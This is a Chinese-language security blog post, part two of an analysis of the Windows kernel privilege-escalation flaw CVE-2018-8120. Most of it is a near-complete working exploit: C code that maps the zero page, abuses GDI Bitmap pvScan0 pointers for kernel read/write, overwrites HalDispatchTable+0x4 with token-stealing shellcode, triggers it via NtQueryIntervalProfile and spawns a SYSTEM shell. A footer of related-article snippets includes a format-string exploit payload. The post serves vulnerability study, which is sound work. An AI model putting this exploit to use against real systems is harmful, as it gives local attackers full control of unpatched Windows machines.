【技术分享】Windows内核提权漏洞CVE-2018-8120分析 - 下

VSole2021-07-29 16:10:02

Bitmap GDI技术

BitmapGDI技术,是指通过Bitmap对象信息泄露漏洞,衍生出的一种内核内存污染技术,据了解,Bitmap对象信息漏洞最早由国外安全研究员 Cesar Cerrudo 于2004年报告至微软,而真正公布的时间是在2006年的11月,至到2015年经安全研究人员于社区分享发布,因可以用作将内核任意写漏洞转换为内核任意读写漏洞而渐入眼帘。

(一)原理

用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中,有存在于内核空间中的成员指针变量pvScan0,而该指针变量可以在用户态下,通过调用GetBitmaps以及SetBitmaps方法,对pvScan0指向的内存地址进行读取和写入。

因此,如果通过内核写漏洞修改指针变量pvScan0,我们就可以在用户态下通过Set\GetBitmaps方法,对内核空间进行读取和写入,最终将内核任意写漏洞,转化为内核任意读写漏洞。

(二)指针变量pvScan0在哪?

当程序调用了CreateBitmap方法后,程序的进程环境控制块(PEB)中的GdiSharedHandleTable表便增加了一个索引,该索引对象的结构为:

typedef struct _GDICELL{    LPVOID pKernelAddress;    USHORT wProcessId;    USHORT wCount;    USHORT wUpper;    USHORT wType;    LPVOID pUserAddress;} GDICELL;

该对象的pKernelAddress泄露了Bitmap对象的内核地址,继续来看pKernelAddress指向的数据结构:

typedefstruct {BASEOBJECT BaseObject; //0x00SURFOBJ SurOBJ; //0x18}
typedef struct _BASEOBJECT {    HANDLE    hHmgr; 0x04    PVOID     pEntry; 0x08    LONG      cExclusiveLock; 0x0d    PW32THREAD Tid;0x10} BASEOBJECT, *POBJ;
typedef struct _SURFOBJ {    DHSURF dhsurf;       0x04    HSURF  hsurf;         0x08    DHPDEV dhpdev;        0x09    HDEV   hdev;          0x0a    SIZEL  sizlBitmap;    0x0e    ULONG  cjBits;        0x12    PVOID  pvBits;        0x16    PVOID  pvScan0;       0x20    LONG   lDelta;        0x24    ULONG  iUniq;        0x28    ULONG  iBitmapFormat; 0x2c    USHORT iType;        0x2e    USHORT fjBitmap;      0x30} SURFOBJ

于是,我们可以了解到,在32位系统下,通过GDICELL->pKernelAddress + 0x30(在64位系统下是0x50,具体计算成员变量指针所占字节),即可得到指向pvScan0指针的偏移量。

(三)如何利用漏洞来更改pvScan0指针?

首先,创建2个Bitmap对象,姑且称其分别为Work、Manager。第一张图,是未修改前的初始状态。

下图,是使用内核任意写漏洞,将Manager的pvScan0指针改写过后的状态,逻辑可能需要反复理解。

将WorkPvScan0在pKernelAddress中的偏移量写入到Manager的PvScan0,至此Manager的PvScan0指针更改为指向WorkPvScan0的指针。通过对ManagerBitmap对象做SetBitmaps操作,可以设置Work的PvScan0指针的值,进而指向任意地址。

随后再通过对WokerBitmap对象做Set\GetBitmaps操作,完成内核读写。

 

利用NtUserSetImeInfoEx漏洞

(一)回顾漏洞代码逻辑

再次回顾,导致任意写漏洞的代码逻辑路径。

GetProcessWindowStation得到tagWindowStation对象,其结构为:

kd> dt tagwindowstationwin32k!tagWINDOWSTATION   +0x000 dwSessionId     : Uint4B   +0x004 rpwinstaNext    : Ptr32 tagWINDOWSTATION   +0x008 rpdeskList      : Ptr32 tagDESKTOP   +0x00c pTerm           : Ptr32 tagTERMINAL   +0x010 dwWSF_Flags     : Uint4B   +0x014 spklList        : Ptr32 tagKL   +0x018 ptiClipLock     : Ptr32 tagTHREADINFO   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO   +0x020 spwndClipOpen   : Ptr32 tagWND   +0x024 spwndClipViewer : Ptr32 tagWND   +0x028 spwndClipOwner  : Ptr32 tagWND   +0x02c pClipBase       : Ptr32 tagCLIP   +0x030 cNumClipFormats : Uint4B   +0x034 iClipSerialNumber : Uint4B   +0x038 iClipSequenceNumber : Uint4B   +0x03c spwndClipboardListener : Ptr32 tagWND   +0x040 pGlobalAtomTable : Ptr32 Void   +0x044 luidEndSession  : _LUID   +0x04c luidUser        : _LUID   +0x054 psidUser        : Ptr32 Void

因此,a1为tagWindowStation对象,V3为tagWindowStation->spklList,spklList对象的结构为:

kd> dt win32k!tagKL   +0x000 head            : _HEAD   +0x008 pklNext         : Ptr32 tagKL   +0x00c pklPrev         : Ptr32 tagKL   +0x010 dwKL_Flags      : Uint4B   +0x014 hkl             : Ptr32 HKL__   +0x018 spkf            : Ptr32 tagKBDFILE   +0x01c spkfPrimary     : Ptr32 tagKBDFILE   +0x020 dwFontSigs      : Uint4B   +0x024 iBaseCharset    : Uint4B   +0x028 CodePage        : Uint2B   +0x02a wchDiacritic    : Wchar   +0x02c piiex           : Ptr32 tagIMEINFOEX   +0x030 uNumTbl         : Uint4B   +0x034 pspkfExtra      : Ptr32 Ptr32 tagKBDFILE   +0x038 dwLastKbdType   : Uint4B   +0x03c dwLastKbdSubType : Uint4B   +0x040 dwKLID          : Uint4B

v3[5]为tagWindowStation->spklList->hkl,最后v3[11]为tagWindowStation->spklList->piiex。代码逻辑可以转化为:

v3 = tagWindowStation->spklList;while ( spklList->hkl != a2[0]){....}v4 = spklList->piiex;if( !v4[18]){qmemcpy(v4,a2,348u);}

(二)布局零页构造入参

假设我们传入NtUserSetImeInfoEx的参数名称为buf,那么我们需令tagwindowstation->spklList->hkl等于 buf[0],令tagwindowstation->spklList->piiex不为空,令tagwindowstation->spklList->piiex->fLoadFlag不为空,就可以将buf中的数据拷贝到v4指向的地址中,此处v4为tagwindowstation->spklList->piiex。由于tagwindowstation->spklList默认为NULL,等同于从0x00000000(零地址)读起,那么我们首先创建零页。

//创建零页// 定义NtAllocateVirtualMemory函数结构typedef NTSTATUS(WINAPI* MyNtAllocate)(IN HANDLE ProcessHandle,IN OUT PVOID* BaseAddress,IN ULONG ZeroBits,IN OUT PULONG RegionSize,IN ULONG AllocationType,IN ULONG Protect);
void allocateZero(){PVOID baseAddr = (PVOID)0x100; //以0x100作为起始地址DWORD size = 0x1000; // 分配页面大小为4KBMyNtAllocate fun;*(FARPROC*)&fun = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");if (fun == NULL){printf("[-] fail to GetAddress");exit(-1);}fun(GetCurrentProcess(), &baseAddr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);//分配内存空间printf("success to allocate Zero Page!");}

分别创建Work、Manager的bitmap对象,并计算得到偏移量,为了更改Manager的pvScan0为Worker的pvScan0偏移量,就要使v4为Manager的pvScan偏移量,a2[0]为Wokerpvscan0对象偏移量,于是,要在零页构造要被读取的数据(留意这里pvScan0跟pvScan0的偏移量不一样,pvScan0的偏移量保存的是pvScan0指针的地址,而pvScan0指针,保存的是另一数据的地址)

unsigned int bbuf[0x60] = { 0x90 };HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
DWORD getpeb(){//读取fs寄存器偏移量0x30,即为PEBDWORD p = (DWORD)__readfsdword(0x30);return p;}DWORD gTableOffset = 0x094;DWORD getgdi(){return *(DWORD*)(getpeb() + gTableOffset);}DWORD gtable;PVOID getpvscan0(HANDLE h){if (!gtable)gtable = getgdi();// Bitmap句柄的末尾四字节为GDICELL在GdiShareHandleTable中的索引,通过LOWROD来取DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;GDICELL* c = (GDICELL*)p;return (char*)c->pKernelAddress + 0x30;}
//得到偏移量PVOID managerpv= getpvscan0(gManger);PVOID workpv = getpvscan0(gWorker);
//使tagwindowstation->spklList->hkl(内存偏移为0x00000014) = workpvscan0偏移量*(DWORD*)(0x14) = (DWORD)(workpv);//使tagwindowstation->spklList->piiex(内存偏移为0x0000002c)= managerpvscan0偏移量*(DWORD*)(0x2C) = (DWORD)(managerpv);
// 由于拷贝384字节,设置buf为大于384字节即可,并将buf每个字节设置0,避免读取空//为跳过While循环,我们令DWORD Buf[0] = workpvscan0偏移量,由于类型为DWORD,因此每次读取4字节。
char buf[0x200];RtlSecureZeroMemory(&buf, 0x200);
PVOID *p = (PVOID*)&buf;p[0] = (PVOID)wo

由于我们直接覆盖pvscan0后的数据,因此要对pvscan0后的其余成员变量进行填充修复,避免影响Get\SetBitmaps函数的使用,正常情况下,成员变量的值为下图中红框处,我们填充进buf当中。

p[0] 为WorkBitmap的pvscan0偏移,图中为83f7f3fc

p[1] = 0x180;p[2] = 0x2110;p[3] = 6;p[4] = 0x10000;// p[5] = 0x00000000,因为先前buf已经分配0,因此不用赋值p[6] = 0x4800200;
//调用存在漏洞的NtUserSetImeInfoExHWINSTA hStation = CreateWindowStation(0, 0, READ_CONTROL, 0);SetProcessWindowStation(hStation);NtUserSetImeInfoEx((PVOID)&buf)

此时,再进行调试,就可以发现,ManagerPvscan0已经指向了“WorkPvscan0的偏移量”了,Windbg调试命令如下:

kd> !process 0 0 project3.exePROCESS 866c0858 SessionId: 1 Cid: 0eb0   Peb: 7ffdc000 ParentCid: 0c08    DirBase: 3f3373c0 ObjectTable: 88257c78 HandleCount: 19.Image: Project3.exe
kd> .process /r /p 866c0858
dt _peb @$peb+0x094 GdiSharedHandleTable : 0x00480000 Void
kd> dd 0x00480000 + (0x89050cd3 & 0xffff) * 0x100048cd30 fe674608 00000eb0 40058905 00000000
kd> dd fe674608 + 0x30fe674638 fdfe0ad0 00000180 00002111 00000

至此,通过对ManagerBitmap句柄做SetBitmaps操作,即可更改WorkPvscan0指针的值,可指向内核任意地址。

(三)替换系统函数执行ShellCode实现提权原理

这里的ShellCode采用替换进程的令牌Toekn的方法,将当前用户态进程的令牌Token替换为高权限进程的Token,进而实现权限提升。

__declspec(naked) VOID ShellCode(){_asm{pushadmov eax, fs: [124h] // Find the _KTHREAD structure of the current threadmov eax, [eax + 0x50] // find the _EPROCESS structuremov ecx, eaxmov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of systemfind_sys_pid :mov eax, [eax + 0xb8] // Find the linked list of process activitiessub eax, 0xb8  // Linked list traversalcmp[eax + 0xb4], edx  // Determine whether it is SYSTEM according to PIDjnz find_sys_pid
// Replace Tokenmov edx, [eax + 0xf8]mov[ecx + 0xf8], edxpopadxor eax, eaxret
}}

单纯在用户态定义shellcode函数并进行调用,是无法获取高权限的进程令牌Token的,因此需要在内核态中,对shellcode函数进行调用,方可实现令牌Token替换的目的。

由于,我们具备了在内核态中的读写能力,我们可以找到在用户态中可以调用的,并且会产生模式切换的系统API函数,通过内核写,将该函数的入口地址修改为shellcode函数的入口地址,当我们在用户态调用该函数时,会进行模式切换,切换为内核模式并以内核权限调用我们的shellcode函数,进而实现提权。

我们可以在SSDT(SystemService Dispatch Table)、HalDispatchTable 两个表中去寻找可调用的内核API函数。在选用内核 API 函数的时候,要尽可能选择较少调用的函数,避免在修改了函数地址同时时,有其他进程进行调用,导致内存访问出错或程序崩溃。参考链接:https://blog.csdn.net/qq_43312649/article/details/105295017

这里选用的内核API函数为NtQueryIntervalProfile,NtQueryIntervalProfile函数是在ntdll.dll中导出的未公开的系统调用,可以直接在用户态下进行调用,因此我们可以通过Bitmap GDI技术,对该函数的入口地址进行替换与恢复。NtQueryIntervalProfile()是Ntdll.dll中导出的未公开的系统调用,它会调用由内核可执行程序ntosknl.exe导出的KeQueryIntervalProfile函数。

而KeQueryIntervalProfile函数又会进一步调用HalDispatchTable表加0x4偏移量的函数地址

因此,我们可以将ShellCode的入口地址,通过内核写漏洞,写入到HalDispatchTable + 0x4中,当我们调用NtQueryIntervalProfile并产生模式切换的时候,就会在内核态中调用我们的ShellCode函数,进而完成提权。

(四)寻找HalDispatchTable地址

对于Windows系统的内核态而言,可划分为以下:

(1)硬件抽象层(HardwareAbstraction Layer -> Hal)

(2)内核(Kernel)

(3)运行体(Executive)

(4)窗体图形子系统(WindowsGraphicsSubsystem)

而HalDispatch正是与硬件抽象层有关,因此我们需从系统加载的内核程序中进行导出,此处以加载内核程序ntkrnlpa.exe为例,通过EnumDeviceDrivers函数,获取在内核空间中ntkrnlpa.exe运行时的基址。

#includeLPVOID NtkrnlpaBase(){    LPVOID lpImageBase[1024];    DWORD lpcbNeeded;   CHAR lpfileName[1024];    //Retrieves the load address for each device driver in the system    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
    for (int i = 0; i < 1024; i++)    {        //Retrieves the base name of the specified device driver        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);        if (!strcmp(lpfileName, "ntkrnlpa.exe"))        {            printf("[+]success to get %s", lpfileName);            return lpImageBase[i];        }    }    return NULL;}

然后在用户态,加载ntkrnlpa.exe程序,并搜索HalDispatchTable表的导出地址,并用用户态中的HalDispatchTable导出地址减去用户态中加载ntkrnlpa.exe的模块基址,就可以获得HalDispatchTable表相对于模块基址的偏移量,最后由内核空间中ntkrnlpa.exe基址加上偏移量,得到HalDispatchTable在内核中的地址,并加上0x4偏移量进行返回。

DWORD32 GetHalOffset_4(){    // 获取ntkrnlpa.exe运行时基址    PVOID pNtkrnlpaBase = NtkrnlpaBase();    printf("[+]ntkrnlpa base address is 0x%p", pNtkrnlpaBase);
    // 获取用户态加载ntkrnlpa.exe的地址    HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
    // 获取用户态中HalDispatchTable的地址    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
    // 由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量,得到HalDispatchTable在内核空间中的地址,加上0x4偏移量    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;    printf("[+]HalDispatchTable+0x4 is 0x%p", hal_4);    return (DWORD32)hal_4;}

(五)触发ShellCode

// 定义函数原型typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(    IN ULONG ProfileSource,    OUT PULONG Interval);PVOID pOrg = 0;    DWORD haladdr = GetHalOffset_4();    PVOID oaddr = (PVOID)haladdr;    PVOID sc = &ShellCode;
//替换NtQueryIntervalProfile的地址为shellcode的地址SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //Use manager to set the modifiable address of worker as hal function    printf("[+]The target address to be overwritten 0x%x", oaddr);    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//Get the address that can be modified    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//Set the address to shellcode    printf("[+] Overwriting is complete, ready to execute Shellcode");
    // 调用NtQueryIntervalProfile,触发shellcode函数    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryIntervalProfile");    printf("[+]NtQueryIntervalProfile address is 0x%x", NtQueryIntervalProfile);    DWORD interVal = 0;    NtQueryIntervalProfile(0x1337, &interVal);    //恢复NtQueryIntervalProfile函数地址SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);system("cmd");

 

踩坑

(一)编译时,留意Visual Studio的MFC以及字符集设置,如果采用静态,则调用函数时,要留意末端是W(Unicode字符集)还是A(多字节字符集),所选用的函数必须与字符集相匹配,否则会出现正常编译运行,但没有效果的问题。

(二)计算偏移时,要留意内存对齐问题

参考链接

(一)https://www.freebuf.com/vuls/180227.html

(二)https://docs.microsoft.com/en-us/previous-versions/bb665982(v=msdn.10)

(三)http://t.zoukankan.com/exclm-p-4107662.html

(四)https://www.coresecurity.com/sites/default/files/private-files/publications/2016/10/Abusing%20GDI%20for%20ring0%20exploit%20primitives-2015.pdf

(五)https://www.programmersought.com/article/84165899589/

偏移量指针变量
本作品采用《CC 协议》,转载必须注明作者和本文链接
前文再续,书接上一回《Windows内核提权漏洞CVE-2018-8120的分析·上》(https://www.anquanke.com/post/id/241057)。
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA。漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。tagWINDOWSTATIONspklList对象的结构为:漏洞触发验证查看SSDT表dd KeServiceDescriptorTabledds Address L11C 显示地址里面值指向的地址. 以4个字节显示。
shellcode loader的编写
2023-04-17 11:15:39
改变加载方式指针执行#include?参数1:分配的内存的起始地址,如果为NULL则由系统决定。参数2:分配的内存大小,以字节为单位。参数3:分配的内存类型,MEM_COMMIT表示将分配的内存立即提交给物理内存,MEM_RESERVE表示保留内存但不提交。参数4:分配的内存保护属性,PAGE_READWRITE可读可写,PAGE_EXECUTE_READ可执行可读。结构体的指针,用于指定新线程的安全属性,NULL表示默认安全属性
C和C++向来以“let the programmer do what he wants to do”的贴近底层而为广大开发者所喜爱。
SMB协议可在互联网的TCP/IP协议或者互联网数据包交换和NetBEUI等协议之上使用。使用SMB协议,应用程序可访问远程服务器的文件以及打印机、信槽和命名管道等资源。RemoveLegacyFolder就是采用思路2来移除经典路径..\的,向前搜索的过程存在风险,并且对其边界检查无效,从而导致了缓冲区溢出的产生。
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。
在该程序中只需要判断x=4即可获得系统shell。查看发现x的值为3,同时得到x的地址为0x804A02C在printf函数中的参数可控 于是可能存在格式化字符漏洞,利用字符串漏洞重写x的值。输入的字符串会存储进入栈内,然后printf函数使用输入的内容作为格式化字符串进行控制输出。输入多个%p打印栈上的内容判断输入的数据在栈上离栈顶的偏移。构造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%pfrom pwn import *p=remoteadrr=p32PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"p.sendline. p.interactive()可以计算该偏移量为11。
源码分析1、LLVM编译器简介LLVM 命名最早源自于底层虚拟机的缩写,由于命名带来的混乱,LLVM就是该项目的全称。LLVM 核心库提供了与编译器相关的支持,可以作为多种语言编译器的后台来使用。自那时以来,已经成长为LLVM的主干项目,由不同的子项目组成,其中许多是正在生产中使用的各种 商业和开源的项目,以及被广泛用于学术研究。
TP-LINK 型号为 TL-WR841N V10 的路由器设备上的漏洞被分配 ID CVE-2020-8423。该漏洞允许经过身份验证的攻击者通过向 wifi 网络配置发送 GET 请求来远程执行设备上的任意代码。
在上周末的深育杯线上赛中,遇到了一个挺有意思的题目,叫 HelloJerry,考察的是 JerryScript 引擎的漏洞利用。
VSole
网络安全专家